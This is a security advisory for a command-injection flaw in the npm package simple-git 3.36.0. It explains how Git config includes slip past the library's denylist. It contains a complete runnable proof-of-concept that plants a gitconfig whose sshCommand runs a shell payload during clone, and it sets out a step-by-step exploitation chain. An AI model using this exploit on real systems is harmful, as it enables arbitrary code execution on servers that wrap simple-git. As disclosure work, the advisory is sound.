Remote command execution In simple-git
Description
simple-git allows command execution through unblocked Git configuration includes ## Summary An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command. PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle. This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source. ## Details Two sinks share the same root cause: the denylist is incomplete. ### Sink A: published 3.36.0 has no include.path entry packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds. ### Sink B: pending PR #1167 regex misses includeIf PR #1167 adds: ts const preventUnsafeConfig = [ // ... preventConfigBuilder('include.path', 'allowUnsafeInclude'), // ... ]; preventConfigBuilder constructs a non-anchored regex from the string: ts function preventConfigBuilder(config, category, message) { const regex = typeof config === 'string' ? new RegExp(`\\s*${config.toLowerCase()}`) : config; return function preventCommand(key) { if (regex.test(key)) { /* throw */ } }; } For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false. js /\s*include.path/.test('include.path') // true /\s*include.path/.test('includeif.gitdir:.path') // false /\s*include.path/.test('includeif.onbranch:main.path') // false The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167). ### Exploitation chain 1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared /tmp in multi-tenant runners, log poisoning that lands [core] headers in a log path, predictable artifact paths, container volume mounts the attacker controls. [core] sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'" 2. Attacker triggers git.clone() with crafted customArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of blockUnsafeOperationsPlugin. 3. cloneTask assembles ['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]. 4. blockUnsafeOperationsPlugin runs parseArgv and collectWriteFlags, yielding the write. detectVulnerableConfigWrites iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match includeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation. 5. suffixPathsPlugin moves pathspec items to the suffix. Final argv: git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst. 6. git clone has its own -c / --config option (-c <key>=<value>, --config <key>=<value> per git clone --help), so a -c immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty gitdir: pattern that matches the current gitdir), reads /tmp/attacker.cfg, registers core.sshCommand. 7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context. git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks. ### Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix. ## PoC Reproduction from a clean install: bash mkdir /tmp/sg-poc && cd /tmp/sg-poc npm init -y npm install simple-git@3.36.0 cat > poc.js <<'EOF' const { simpleGit } = require('simple-git'); const fs = require('fs'); fs.writeFileSync('/tmp/sg-attacker.cfg', `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`); const git = simpleGit({ baseDir: '/tmp' }); (async () => { // Sink A: plain include.path works on published 3.36.0 (no denylist entry). // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167. const payload = 'include.path=/tmp/sg-attacker.cfg'; try { await git.clone( 'ssh://nonexistent.example.com/repo.git', '/tmp/sg-rce-dst', ['-c', payload] ); } catch (_) { /* clone fails after sshCommand has already run */ } await new Promise(r => setTimeout(r, 500)); console.log(fs.readFileSync('/tmp/sg-id', 'utf8')); })(); EOF node poc.js Output on simple-git 3.36.0: uid=0(root) gid=0(root) groups=0(root) Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release. ## Impact Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns: - CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers - PaaS and hosting platforms that accept customer-tunable git options - Code analyzers and security scanners that clone user-supplied repos - Bot frameworks (Probot, GitOps controllers) that wrap simple-git - AI agent frameworks that auto-clone repositories for analysis - VS Code extensions,
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
npm | 4.0.0 |
Aliases
References